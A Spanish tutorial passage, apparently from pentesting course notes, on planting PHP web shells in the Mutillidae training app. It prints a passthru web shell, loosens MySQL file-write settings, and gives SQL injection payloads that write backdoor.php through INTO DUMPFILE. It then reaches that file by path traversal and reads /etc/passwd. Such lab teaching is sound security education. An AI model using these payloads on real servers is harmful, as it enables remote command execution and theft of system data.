WebShells

Las WebShells no es una vulnerabilidad como tal, si no que es un script un fragmento de codigo que vamos a injectar en la maquina que esta alojando la aplicacion web de manera que nosotros podamos ganar persistencia en esa maquina, como la ejeccion remota de comandos, etc... Una WebShell seria el payload (Transladandolo a esos coneptos en los que hablabamos en la explotacion de vulnerabilidades en hosts) aprovechando una vulnerabilidad de manera que nosotros podamos injectar ese codigo dejar ese ficherito en el web server y despues poder ejecutar comandos remotamente, ganar persistencia, etc...

La tipica WebShell que se suele crear en un fichero seria la siguiente:

<?php echo passthru($_GET['cmd']); ?>

Es un codigo en PHP que lo unico que hace es recivir un comando/parametro en este caso mediante la URL con la condicion GET y lo que hace es que ejecuta ese comando en el sistema operativo de la maquina en la que este alojando este fichero, si conseguimos subir este fichero al web server y accedemos a el mediante la URL y metemos como parametro el llamado cmd el cual le pusimos en el fichero seguido de un comando del sistema como ls, cat, etc... se nos va a ejecutar en el sistema y nos mostrara la informacion por pantalla.

Muchas veces las organizaciones en vez de tener limitada la lectura de ficheros mediante mysql la deslimitan para que pueda tener mas funcionalidades y a causa de esto, nosotros como atacantes podemos aprovechar eso, por lo que vamos a simularlo, haciendo los siguientes cambios en la maquina ubuntu.

Abrimos el siguiente archivo mediante la terminal:

nano /etc/mysql/mysql.conf.d/mysqld.cnf

#Dentro del nano
[mysqld]

secure-file-priv = ""

Y añadimos esa linea debajo de [mysqld].

Ahora nos vamos a la siguiente direccion:

cd /var/www/html
chown -R mysql:mysql mutillidae
chown -R mysql:mysql mutillidae/*

Y le damos permisos a mysql para la pagina de mutillidae.

Despues una vez echo esto, lo que hemos permitido es que la base de datos pueda leer cualquier fichero del servidor, cosa muy habitual en empresas o demas organizaciones, incluso en muchas de ellas vienen por defecto.

Por lo que vamos a escribir con esta vulnerabilidad un WebShell y despues con la tecnica del Path Traversal vamos acceder a el.

Vamos a irnos en la pagina de Mutillidae a cualquier campo que tenga la vulnerabilidad de SQL Injection y vamos a escribir la siguiente sentencia:

User: ' UNION select null,null,null,null,null,null,null,null,null,'<?php echo passthru($_GET["cmd"]); ?>' INTO DUMPFILE '../../../../../var/www/html/mutillidae/src/backdoor.php'-- -
Pass: null

Lo que estamos haciendo aqui es que esa WebShell de PHP la estamos volcando con INTO DUMPFILE a un fichero con la siguiente ruta mostrada y lo llamaremos al archivo backdoor.php.

Pero para hacerlo mejor, pondremos el siguiente WebShell mas que uno simple:

User: ' UNION select null,null,null,null,null,null,null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '../../../../../var/www/html/mutillidae/src/backdoor.php'-- -
Pass: null

Hace el mismo funcionamiento que el anterior, pero es mejorado, que esto lo tendremos en la ayuda de la propia pagina de Mutillidae.

Y con esto ya tendriamos el fichero subido en la pagina.

Y ahora utilizando la tecnica de Path Traversal haremos lo siguiente para meternos en dicho fichero:

URL = http://<IP>/mutillidae/src/index.php?page=backdoor.php

Nos aparecera como un recuadro en el que podremos insertar un comando que se ejecutara en el sistema.

Si por ejemplo queremos ver el archivo de passwd pondremos cat /etc/passwd:

Y podremos verlo en la propia pagina.

Last updated